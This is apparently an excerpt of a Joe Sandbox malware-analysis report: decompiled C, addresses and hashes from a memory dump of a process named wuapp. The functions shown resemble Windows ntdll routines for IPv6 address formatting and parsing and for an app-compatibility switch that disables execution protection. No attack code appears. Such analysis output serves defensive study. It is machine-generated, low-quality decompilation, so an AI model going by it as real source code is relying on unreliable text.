0x01ec8af8
0x01ec8afb
0x01f11beb
0x01f11beb
0x01ec8b04
0x01f11bf8
0x01f11c0e
0x01f11c13
0x01f11c16
0x01f11c16
0x01f11bf8
0x00000000
0x01ec8b04
0x01ec8a0e
0x01ec8a11
0x01ec8a14
0x01ec8a15
0x01ec8a18
0x01ec8a22
0x01ec8b59
0x01ec8a28
0x01ec8a3c
0x01ec8a3c
0x01ec8a42
0x01f11bb0
0x01f11b11
0x01f11b11
0x00000000
0x01ec8a48
0x01ec8a51
0x01ec8a5b
0x01ec8a5e
0x01ec8a61
0x01ec8a69
0x01ec8a69
0x01ec8a6d
0x00000000
0x00000000
0x01ec8a74
0x01ec8a7c
0x01ec8a7d
0x01ec8a91
0x01ec8a93
0x01ec8a93
0x01ec8a98
0x01ec8a9b
0x01ec8aa1
0x01ec8aa1
0x01ec8aa4
0x01ec8aaa
0x01ec8ab1
0x01ec8ac5
0x01ec8ac7
0x01ec8ac7
0x01ec8ac5
0x01ec8ace
0x01f11bc9
0x01f11bce
0x01f11bd2
0x01f11bd2
0x01ec8ad8
0x01ec8aeb
0x01ec8aeb
0x01ec8af0
0x01ec8af4
0x00000000
0x01ec8af4
0x01ec8a42
0x01ec8926
0x01ec8929
0x01ec892c
0x01ec892d
0x01ec8930
0x01ec8935
0x01ec893a
0x01ec8b51
0x01ec8940
0x01ec8954
0x01ec8954
0x01ec895a
0x01f11b63
0x00000000
0x01ec8960
0x01ec8969
0x01ec8973
0x01ec8976
0x01ec8979
0x01ec897e
0x01ec8981
0x01ec8981
0x01ec8986
0x00000000
0x00000000
0x01f11b6e
0x01f11b74
0x01f11b7b
0x01f11b8f
0x01f11b91
0x01f11b91
0x01f11b99
0x01f11b9c
0x01f11ba2
0x01f11ba2
0x01ec898c
0x01ec8992
0x01ec8999
0x01ec89ad
0x01f11ba8
0x01f11ba8
0x01ec89ad
0x01ec89b6
0x01ec89c8
0x01ec89cd
0x01ec89d0
0x01ec89d0
0x01ec89d6
0x01ec89e8
0x01ec89e8
0x01ec89ed
0x00000000
0x01ec89ed
0x01ec895a
0x01ec883e
0x01ec8841
0x01ec8844
0x01ec8845
0x01ec8848
0x01ec884d
0x01ec8852
0x01ec8b49
0x01ec8858
0x01ec886c
0x01ec886c
0x01ec8872
0x01f11b0e
0x00000000
0x01ec8878
0x01ec8881
0x01ec888b
0x01ec888e
0x01ec8891
0x01ec8896
0x01ec8899
0x01ec8899
0x01ec889e
0x00000000
0x00000000
0x01f11b21
0x01f11b27
0x01f11b2e
0x01f11b42
0x01f11b44
0x01f11b44
0x01f11b4c
0x01f11b4f
0x01f11b55
0x01f11b55
0x01ec88a4
0x01ec88aa
0x01ec88b1
0x01ec88c5
0x01f11b5b
0x01f11b5b
0x01ec88c5
0x01ec88ce
0x01ec88e0
0x01ec88e5
0x01ec88e8
0x01ec88e8
0x01ec88ee
0x01ec8900
0x01ec8900
0x01ec8905
0x00000000
0x01ec8905

APIs

_wcspbrk.LIBCMT ref: 01EC8891
_wcspbrk.LIBCMT ref: 01EC8979
_wcspbrk.LIBCMT ref: 01EC8A61
_wcspbrk.LIBCMT ref: 01EC8A9B
_wcspbrk.LIBCMT ref: 01F11B9C

Strings

Kernel-MUI-Language-Disallowed, xrefs: 01EC8914
Kernel-MUI-Language-Allowed, xrefs: 01EC8827
Kernel-MUI-Number-Allowed, xrefs: 01EC87E6
WindowsExcludedProcs, xrefs: 01EC87C1
Kernel-MUI-Language-SKU, xrefs: 01EC89FC

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: _wcspbrk
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 402402107-258546922
Opcode ID: 50b6c51601a333298cad2194f0cb35a739cfefdc1ea9901d5e50c7dd9c628181
Instruction ID: 0ad922e52241e5f0ef77e61fb266b590c932d3e416c231731779853aa789e8bc
Opcode Fuzzy Hash: 50b6c51601a333298cad2194f0cb35a739cfefdc1ea9901d5e50c7dd9c628181
Instruction Fuzzy Hash: 70F109B2D0024AEFDF11DF98CA80DEEBBB8FF18704F54546AE605A7210D735AA45DB50

Uniqueness

Uniqueness Score: -1.00%

Function 01EE13CB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E01EE13CB(intOrPtr* _a4, intOrPtr _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _t71;
				signed int _t78;
				signed int _t86;
				char _t90;
				signed int _t91;
				signed int _t96;
				intOrPtr _t108;
				signed int _t114;
				void* _t115;
				intOrPtr _t128;
				intOrPtr* _t129;
				void* _t130;

				_t129 = _a4;
				_t128 = _a8;
				_t116 = 0;
				_t71 = _t128 + 0x5c;
				_v8 = 8;
				_v20 = _t71;
				if( *_t129 == 0) {
					if( *((intOrPtr*)(_t129 + 2)) != 0 ||  *((intOrPtr*)(_t129 + 4)) != 0 ||  *((intOrPtr*)(_t129 + 6)) != 0 ||  *(_t129 + 0xc) == 0) {
						goto L5;
					} else {
						_t96 =  *(_t129 + 8) & 0x0000ffff;
						if(_t96 != 0) {
							L38:
							if(_t96 != 0xffff ||  *(_t129 + 0xa) != _t116) {
								goto L5;
							} else {
								_push( *(_t129 + 0xf) & 0x000000ff);
								_push( *(_t129 + 0xe) & 0x000000ff);
								_push( *(_t129 + 0xd) & 0x000000ff);
								_t86 = E01ED7707(_t128, _t71 - _t128 >> 1, L"::ffff:0:%u.%u.%u.%u",  *(_t129 + 0xc) & 0x000000ff);
								L36:
								return _t128 + _t86 * 2;
							}
						}
						_t114 =  *(_t129 + 0xa) & 0x0000ffff;
						if(_t114 == 0) {
							L33:
							_t115 = 0x1ea2926;
							L35:
							_push( *(_t129 + 0xf) & 0x000000ff);
							_push( *(_t129 + 0xe) & 0x000000ff);
							_push( *(_t129 + 0xd) & 0x000000ff);
							_push( *(_t129 + 0xc) & 0x000000ff);
							_t86 = E01ED7707(_t128, _t71 - _t128 >> 1, L"::%hs%u.%u.%u.%u", _t115);
							goto L36;
						}
						if(_t114 != 0xffff) {
							_t116 = 0;
							goto L38;
						}
						if(_t114 != 0) {
							_t115 = 0x1ea9cac;
							goto L35;
						}
						goto L33;
					}
				} else {
					L5:
					_a8 = _t116;
					_a4 = _t116;
					_v12 = _t116;
					if(( *(_t129 + 8) & 0x0000fffd) == 0) {
						if( *(_t129 + 0xa) == 0xfe5e) {
							_v8 = 6;
						}
					}
					_t90 = _v8;
					if(_t90 <= _t116) {
						L11:
						if(_a8 - _a4 <= 1) {
							_a8 = _t116;
							_a4 = _t116;
						}
						_t91 = 0;
						if(_v8 <= _t116) {
							L22:
							if(_v8 < 8) {
								_push( *(_t129 + 0xf) & 0x000000ff);
								_push( *(_t129 + 0xe) & 0x000000ff);
								_push( *(_t129 + 0xd) & 0x000000ff);
								_t128 = _t128 + E01ED7707(_t128, _t71 - _t128 >> 1, L":%u.%u.%u.%u",  *(_t129 + 0xc) & 0x000000ff) * 2;
							}
							return _t128;
						} else {
							L14:
							L14:
							if(_a4 > _t91 || _t91 >= _a8) {
								if(_t91 != _t116 && _t91 != _a8) {
									_push(":");
									_push(_t71 - _t128 >> 1);
									_push(_t128);
									_t128 = _t128 + E01ED7707() * 2;
									_t71 = _v20;
									_t130 = _t130 + 0xc;
								}
								_t78 = E01ED7707(_t128, _t71 - _t128 >> 1, L"%x",  *(_t129 + _t91 * 2) & 0x0000ffff);
								_t130 = _t130 + 0x10;
							} else {
								_push(L"::");
								_push(_t71 - _t128 >> 1);
								_push(_t128);
								_t78 = E01ED7707();
								_t130 = _t130 + 0xc;
								_t91 = _a8 - 1;
							}
							_t91 = _t91 + 1;
							_t128 = _t128 + _t78 * 2;
							_t71 = _v20;
							if(_t91 >= _v8) {
								goto L22;
							}
							_t116 = 0;
							goto L14;
						}
					} else {
						_t108 = 1;
						_v16 = _t129;
						_v24 = _t90;
						do {
							if( *_v16 == _t116) {
								if(_t108 - _v12 > _a8 - _a4) {
									_a4 = _v12;
									_a8 = _t108;
								}
								_t116 = 0;
							} else {
								_v12 = _t108;
							}
							_v16 = _v16 + 2;
							_t108 = _t108 + 1;
							_t26 =  &_v24;
							 *_t26 = _v24 - 1;
						} while ( *_t26 != 0);
						goto L11;
					}
				}
			}

0x01ee13d5
0x01ee13d9
0x01ee13dc
0x01ee13de
0x01ee13e1
0x01ee13e8
0x01ee13ee
0x01f0e8fd
0x00000000
0x01f0e921
0x01f0e921
0x01f0e928
0x01f0e982
0x01f0e98a
0x00000000
0x01f0e99a
0x01f0e99e
0x01f0e9a3
0x01f0e9a8
0x01f0e9b9
0x01f0e978
0x00000000
0x01f0e978
0x01f0e98a
0x01f0e92a
0x01f0e931
0x01f0e944
0x01f0e944
0x01f0e950
0x01f0e954
0x01f0e959
0x01f0e95e
0x01f0e963
0x01f0e970
0x00000000
0x01f0e975
0x01f0e93b
0x01f0e980
0x00000000
0x01f0e980
0x01f0e942
0x01f0e94b
0x00000000
0x01f0e94b
0x00000000
0x01f0e942
0x01ee13f4
0x01ee13f4
0x01ee13f9
0x01ee13fc
0x01ee13ff
0x01ee1406
0x01f0e9cc
0x01f0e9d2
0x01f0e9d2
0x01f0e9cc
0x01ee140c
0x01ee1411
0x01ee1431
0x01ee143a
0x01ee143c
0x01ee143f
0x01ee143f
0x01ee1442
0x01ee1447
0x01ee14a8
0x01ee14ac
0x01f0e9e2
0x01f0e9e7
0x01f0e9ec
0x01f0ea05
0x01f0ea05
0x00000000
0x01ee1449
0x00000000
0x01ee1449
0x01ee144c
0x01ee1459
0x01ee1462
0x01ee1469
0x01ee146a
0x01ee1470
0x01ee1473
0x01ee1476
0x01ee1476
0x01ee1490
0x01ee1495
0x01ee138e
0x01ee1390
0x01ee1397
0x01ee1398
0x01ee1399
0x01ee13a1
0x01ee13a4
0x01ee13a4
0x01ee1498
0x01ee149c
0x01ee149f
0x01ee14a2
0x00000000
0x00000000
0x01ee14a4
0x00000000
0x01ee14a4
0x01ee1413
0x01ee1415
0x01ee1416
0x01ee1419
0x01ee141c
0x01ee1422
0x01ee13b7
0x01ee13bc
0x01ee13bf
0x01ee13bf
0x01ee13c2
0x01ee1424
0x01ee1424
0x01ee1424
0x01ee1427
0x01ee142b
0x01ee142c
0x01ee142c
0x01ee142c
0x00000000
0x01ee141c
0x01ee1411

APIs

___swprintf_l.LIBCMT ref: 01EE146B
___swprintf_l.LIBCMT ref: 01EE1490
___swprintf_l.LIBCMT ref: 01F0E970

Strings

::ffff:0:%u.%u.%u.%u, xrefs: 01F0E9B0
:%u.%u.%u.%u, xrefs: 01F0E9F4
::%hs%u.%u.%u.%u, xrefs: 01F0E967
ffff:, xrefs: 01F0E94B

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 94d3a7bb015312427fb08d61ed0e6e25db20eb27640d4cf93e4207e6d0e8564b
Instruction ID: 54f15f2324d681a002930ed55a772657568878527bb11132b4be8bdfdea27e66
Opcode Fuzzy Hash: 94d3a7bb015312427fb08d61ed0e6e25db20eb27640d4cf93e4207e6d0e8564b
Instruction Fuzzy Hash: 4D6156B1D00696AACB35DF5DC8848BEBBF5EF98304B54D42DE5D64B641D330A680CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 01ED7EFD Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E01ED7EFD(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				char _v540;
				unsigned int _v544;
				signed int _v548;
				intOrPtr _v552;
				char _v556;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t33;
				void* _t38;
				unsigned int _t46;
				unsigned int _t47;
				unsigned int _t52;
				intOrPtr _t56;
				unsigned int _t62;
				void* _t69;
				void* _t70;
				intOrPtr _t72;
				signed int _t73;
				void* _t74;
				void* _t75;
				void* _t76;
				void* _t77;

				_t33 =  *0x1f82088; // 0x76a06099
				_v8 = _t33 ^ _t73;
				_v548 = _v548 & 0x00000000;
				_t72 = _a4;
				if(E01ED7F4F(__ecx, _t72 + 0x2c,  &_v548) >= 0) {
					__eflags = _v548;
					if(_v548 == 0) {
						goto L1;
					}
					_t62 = _t72 + 0x24;
					E01EF3F92(0x55, 3, "CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions\n", _v548);
					_t71 = 0x214;
					_v544 = 0x214;
					E01EADFC0( &_v540, 0, 0x214);
					_t75 = _t74 + 0x20;
					_t46 =  *0x1f84218( *((intOrPtr*)(_t72 + 0x28)),  *((intOrPtr*)(_t72 + 0x18)),  *((intOrPtr*)(_t72 + 0x20)), L"ExecuteOptions",  &_v556,  &_v540,  &_v544, _t62);
					__eflags = _t46;
					if(_t46 == 0) {
						goto L1;
					}
					_t47 = _v544;
					__eflags = _t47;
					if(_t47 == 0) {
						goto L1;
					}
					__eflags = _t47 - 0x214;
					if(_t47 >= 0x214) {
						goto L1;
					}
					_push(_t62);
					 *((short*)(_t73 + (_t47 >> 1) * 2 - 0x21a)) = 0;
					E01EF3F92(0x55, 3, "CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database\n",  &_v540);
					_t52 = E01EB0D27( &_v540, L"Execute=1");
					_t76 = _t75 + 0x1c;
					_push(_t62);
					__eflags = _t52;
					if(_t52 == 0) {
						E01EF3F92(0x55, 3, "CLIENT(ntdll): Processing %ws for patching section protection for %wZ\n",  &_v540);
						_t71 =  &_v540;
						_t56 = _t73 + _v544 - 0x218;
						_t77 = _t76 + 0x14;
						_v552 = _t56;
						__eflags = _t71 - _t56;
						if(_t71 >= _t56) {
							goto L1;
						} else {
							goto L10;
						}
						while(1) {
							L10:
							_t62 = E01EB8375(_t71, 0x20);
							_pop(_t69);
							__eflags = _t62;
							if(__eflags != 0) {
								__eflags = 0;
								 *_t62 = 0;
							}
							E01EF3F92(0x55, 3, "CLIENT(ntdll): Processing section info %ws...\n", _t71);
							_t77 = _t77 + 0x10;
							E01F1E8DB(_t69, _t70, __eflags, _t72, _t71);
							__eflags = _t62;
							if(_t62 == 0) {
								goto L1;
							}
							_t31 = _t62 + 2; // 0x2
							_t71 = _t31;
							__eflags = _t71 - _v552;
							if(_t71 >= _v552) {
								goto L1;
							}
						}
					}
					_push("CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ\n");
					_push(3);
					_push(0x55);
					E01EF3F92();
					_t38 = 1;
					L2:
					return E01EAE1B4(_t38, _t62, _v8 ^ _t73, _t70, _t71, _t72);
				}
				L1:
				_t38 = 0;
				goto L2;
			}

0x01ed7f08
0x01ed7f0f
0x01ed7f12
0x01ed7f1b
0x01ed7f31
0x01ef3ead
0x01ef3eb4
0x00000000
0x00000000
0x01ef3eba
0x01ef3ecd
0x01ef3ed2
0x01ef3ee1
0x01ef3ee7
0x01ef3eec
0x01ef3f12
0x01ef3f18
0x01ef3f1a
0x00000000
0x00000000
0x01ef3f20
0x01ef3f26
0x01ef3f28
0x00000000
0x00000000
0x01ef3f2e
0x01ef3f30
0x00000000
0x00000000
0x01ef3f3a
0x01ef3f3b
0x01ef3f53
0x01ef3f64
0x01ef3f69
0x01ef3f6c
0x01ef3f6d
0x01ef3f6f
0x01efe304
0x01efe30f
0x01efe315
0x01efe31e
0x01efe321
0x01efe327
0x01efe329
0x00000000
0x00000000
0x00000000
0x00000000
0x01efe32f
0x01efe32f
0x01efe337
0x01efe33a
0x01efe33b
0x01efe33d
0x01efe33f
0x01efe341
0x01efe341
0x01efe34e
0x01efe353
0x01efe358
0x01efe35d
0x01efe35f
0x00000000
0x00000000
0x01efe365
0x01efe365
0x01efe368
0x01efe36e
0x00000000
0x00000000
0x01efe374
0x01efe32f
0x01ef3f75
0x01ef3f7a
0x01ef3f7c
0x01ef3f7e
0x01ef3f86
0x01ed7f39
0x01ed7f47
0x01ed7f47
0x01ed7f37
0x01ed7f37
0x00000000

APIs

BaseQueryModuleData.KERNEL32(?,00000000,00000000,ExecuteOptions,?,?,?), ref: 01EF3F12

Strings

ExecuteOptions, xrefs: 01EF3F04
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 01EF3F4A
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 01EF3EC4
Execute=1, xrefs: 01EF3F5E
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 01EFE2FB
CLIENT(ntdll): Processing section info %ws..., xrefs: 01EFE345
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 01EF3F75

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: BaseDataModuleQuery
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 3901378454-484625025
Opcode ID: 5cad5bee7d41319acc5fe5dc4141c80787fa559203e682214172455f2927ec08
Instruction ID: 6c2aa99a0e5676a322f587c675493676257ea84aba9aed42cb2c12cf36d085e2
Opcode Fuzzy Hash: 5cad5bee7d41319acc5fe5dc4141c80787fa559203e682214172455f2927ec08
Instruction Fuzzy Hash: 3941C632A4025D7AEB319B94DCC5FEE73BDAB14704F4014A9FB45E6081E670AA858BA1

Uniqueness

Uniqueness Score: -1.00%

Function 01EE0B15 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 272
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01EE0B15(intOrPtr* _a4, char _a7, intOrPtr* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				void* _t108;
				void* _t116;
				char _t120;
				short _t121;
				void* _t128;
				intOrPtr* _t130;
				char _t132;
				short _t133;
				intOrPtr _t141;
				signed int _t156;
				signed int _t174;
				intOrPtr _t177;
				intOrPtr* _t179;
				intOrPtr _t180;
				void* _t183;

				_t179 = _a4;
				_t141 =  *_t179;
				_v16 = 0;
				_v28 = 0;
				_v8 = 0;
				_v24 = 0;
				_v12 = 0;
				_v32 = 0;
				_v20 = 0;
				if(_t141 == 0) {
					L41:
					 *_a8 = _t179;
					_t180 = _v24;
					if(_t180 != 0) {
						if(_t180 != 3) {
							goto L6;
						}
						_v8 = _v8 + 1;
					}
					_t174 = _v32;
					if(_t174 == 0) {
						if(_v8 == 7) {
							goto L43;
						}
						goto L6;
					}
					L43:
					if(_v16 != 1) {
						if(_v16 != 2) {
							goto L6;
						}
						 *((short*)(_a12 + _v20 * 2)) = 0;
						L47:
						if(_t174 != 0) {
							E01EB8980(_a12 + 0x10 + (_t174 - _v8) * 2, _a12 + _t174 * 2, _v8 - _t174 + _v8 - _t174);
							_t116 = 8;
							E01EADFC0(_a12 + _t174 * 2, 0, _t116 - _v8 + _t116 - _v8);
						}
						return 0;
					}
					if(_t180 != 0) {
						if(_v12 > 3) {
							goto L6;
						}
						_t120 = E01EE0CFA(_v28, 0, 0xa);
						_t183 = _t183 + 0xc;
						if(_t120 > 0xff) {
							goto L6;
						}
						 *((char*)(_t180 + _v20 * 2 + _a12)) = _t120;
						goto L47;
					}
					if(_v12 > 4) {
						goto L6;
					}
					_t121 = E01EE0CFA(_v28, _t180, 0x10);
					_t183 = _t183 + 0xc;
					 *((short*)(_a12 + _v20 * 2)) = _t121;
					goto L47;
				} else {
					while(1) {
						_t123 = _v16;
						if(_t123 == 0) {
							goto L7;
						}
						_t108 = _t123 - 1;
						if(_t108 != 0) {
							goto L1;
						}
						_t178 = _t141;
						if(E01EE06BA(_t108, _t141) == 0 || _t135 == 0) {
							if(E01EE06BA(_t135, _t178) == 0 || E01EE0A5B(_t136, _t178) == 0) {
								if(_t141 != 0x3a) {
									if(_t141 == 0x2e) {
										if(_a7 != 0 || _v24 > 2 || _v8 > 6) {
											goto L41;
										} else {
											_v24 = _v24 + 1;
											L27:
											_v16 = _v16 & 0x00000000;
											L28:
											if(_v28 == 0) {
												goto L20;
											}
											_t177 = _v24;
											if(_t177 != 0) {
												if(_v12 > 3) {
													L6:
													return 0xc000000d;
												}
												_t132 = E01EE0CFA(_v28, 0, 0xa);
												_t183 = _t183 + 0xc;
												if(_t132 > 0xff) {
													goto L6;
												}
												 *((char*)(_t177 + _v20 * 2 + _a12 - 1)) = _t132;
												goto L20;
											}
											if(_v12 > 4) {
												goto L6;
											}
											_t133 = E01EE0CFA(_v28, 0, 0x10);
											_t183 = _t183 + 0xc;
											_v20 = _v20 + 1;
											 *((short*)(_a12 + _v20 * 2)) = _t133;
											goto L20;
										}
									}
									goto L41;
								}
								if(_v24 > 0 || _v8 > 6) {
									goto L41;
								} else {
									_t130 = _t179 + 1;
									if( *_t130 == _t141) {
										if(_v32 != 0) {
											goto L41;
										}
										_v32 = _v8 + 1;
										_t156 = 2;
										_v8 = _v8 + _t156;
										L34:
										_t179 = _t130;
										_v16 = _t156;
										goto L28;
									}
									_v8 = _v8 + 1;
									goto L27;
								}
							} else {
								_v12 = _v12 + 1;
								if(_v24 > 0) {
									goto L41;
								}
								_a7 = 1;
								goto L20;
							}
						} else {
							_v12 = _v12 + 1;
							L20:
							_t179 = _t179 + 1;
							_t141 =  *_t179;
							if(_t141 == 0) {
								goto L41;
							}
							continue;
						}
						L7:
						if(_t141 == 0x3a) {
							if(_v24 > 0 || _v8 > 0) {
								goto L41;
							} else {
								_t130 = _t179 + 1;
								if( *_t130 != _t141) {
									goto L41;
								}
								_v20 = _v20 + 1;
								_t156 = 2;
								_v32 = 1;
								_v8 = _t156;
								 *((short*)(_a12 + _v20 * 2)) = 0;
								goto L34;
							}
						}
						L8:
						if(_v8 > 7) {
							goto L41;
						}
						_t142 = _t141;
						if(E01EE06BA(_t123, _t141) == 0 || _t124 == 0) {
							if(E01EE06BA(_t124, _t142) == 0 || E01EE0A5B(_t125, _t142) == 0 || _v24 > 0) {
								goto L41;
							} else {
								_t128 = 1;
								_a7 = 1;
								_v28 = _t179;
								_v16 = 1;
								_v12 = 1;
								L39:
								if(_v16 == _t128) {
									goto L20;
								}
								goto L28;
							}
						} else {
							_a7 = 0;
							_v28 = _t179;
							_v16 = 1;
							_v12 = 1;
							goto L20;
						}
					}
				}
				L1:
				_t123 = _t108 == 1;
				if(_t108 == 1) {
					goto L8;
				}
				_t128 = 1;
				goto L39;
			}

0x01ee0b21
0x01ee0b24
0x01ee0b27
0x01ee0b2a
0x01ee0b2d
0x01ee0b30
0x01ee0b33
0x01ee0b36
0x01ee0b39
0x01ee0b3e
0x01ee0c65
0x01ee0c68
0x01ee0c6a
0x01ee0c6f
0x01f0eb42
0x00000000
0x00000000
0x01f0eb48
0x01f0eb48
0x01ee0c75
0x01ee0c7a
0x01f0eb54
0x00000000
0x00000000
0x00000000
0x01f0eb5a
0x01ee0c80
0x01ee0c84
0x01f0eb98
0x00000000
0x00000000
0x01f0eba6
0x01ee0cb8
0x01ee0cba
0x01ee0cd3
0x01ee0cda
0x01ee0ce4
0x01ee0ce9
0x00000000
0x01ee0cec
0x01ee0c8c
0x01f0eb63
0x00000000
0x00000000
0x01f0eb70
0x01f0eb75
0x01f0eb7d
0x00000000
0x00000000
0x01f0eb8c
0x00000000
0x01f0eb8c
0x01ee0c96
0x00000000
0x00000000
0x01ee0ca2
0x01ee0cac
0x01ee0cb4
0x00000000
0x00000000
0x01ee0b44
0x01ee0b47
0x01ee0b49
0x00000000
0x00000000
0x01ee0b4f
0x01ee0b50
0x00000000
0x00000000
0x01ee0b56
0x01ee0b62
0x01ee0b7c
0x01ee0bac
0x01ee0a0f
0x01f0eaaa
0x00000000
0x01f0eac4
0x01f0eac4
0x01ee0bd0
0x01ee0bd0
0x01ee0bd4
0x01ee0bd9
0x00000000
0x00000000
0x01ee0bdb
0x01ee0be0
0x01f0eb0e
0x01ee0a1a
0x00000000
0x01ee0a1a
0x01f0eb1a
0x01f0eb1f
0x01f0eb27
0x00000000
0x00000000
0x01f0eb36
0x00000000
0x01f0eb36
0x01ee0bea
0x00000000
0x00000000
0x01ee0bf6
0x01ee0c00
0x01ee0c03
0x01ee0c0b
0x00000000
0x01ee0c0b
0x01f0eaaa
0x00000000
0x01ee0a15
0x01ee0bb6
0x00000000
0x01ee0bc6
0x01ee0bc6
0x01ee0bcb
0x01ee0c15
0x00000000
0x00000000
0x01ee0c1d
0x01ee0c20
0x01ee0c21
0x01ee0c24
0x01ee0c24
0x01ee0c26
0x00000000
0x01ee0c26
0x01ee0bcd
0x00000000
0x01ee0bcd
0x01ee0b89
0x01ee0b89
0x01ee0b90
0x00000000
0x00000000
0x01ee0b96
0x00000000
0x01ee0b96
0x01ee0a04
0x01ee0a04
0x01ee0b9a
0x01ee0b9a
0x01ee0b9b
0x01ee0b9f
0x00000000
0x00000000
0x00000000
0x01ee0ba5
0x01ee0ac7
0x01ee0aca
0x01f0eacf
0x00000000
0x01f0eade
0x01f0eade
0x01f0eae3
0x00000000
0x00000000
0x01f0eaf3
0x01f0eaf6
0x01f0eaf7
0x01f0eafe
0x01f0eb01
0x00000000
0x01f0eb01
0x01f0eacf
0x01ee0ad0
0x01ee0ad4
0x00000000
0x00000000
0x01ee0ada
0x01ee0ae6
0x01ee0c34
0x00000000
0x01ee0c47
0x01ee0c49
0x01ee0c4a
0x01ee0c4e
0x01ee0c51
0x01ee0c54
0x01ee0c57
0x01ee0c5a
0x00000000
0x00000000
0x00000000
0x01ee0c60
0x01ee0afb
0x01ee0afe
0x01ee0b02
0x01ee0b05
0x01ee0b08
0x00000000
0x01ee0b08
0x01ee0ae6
0x01ee0b44
0x01ee09f8
0x01ee09f8
0x01ee09f9
0x00000000
0x00000000
0x01f0eaa0
0x00000000

APIs

__fassign.LIBCMT ref: 01EE0BF6
__fassign.LIBCMT ref: 01EE0CA2

Strings

:, xrefs: 01EE0AC7
:, xrefs: 01EE0BA9
., xrefs: 01EE0A0C

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
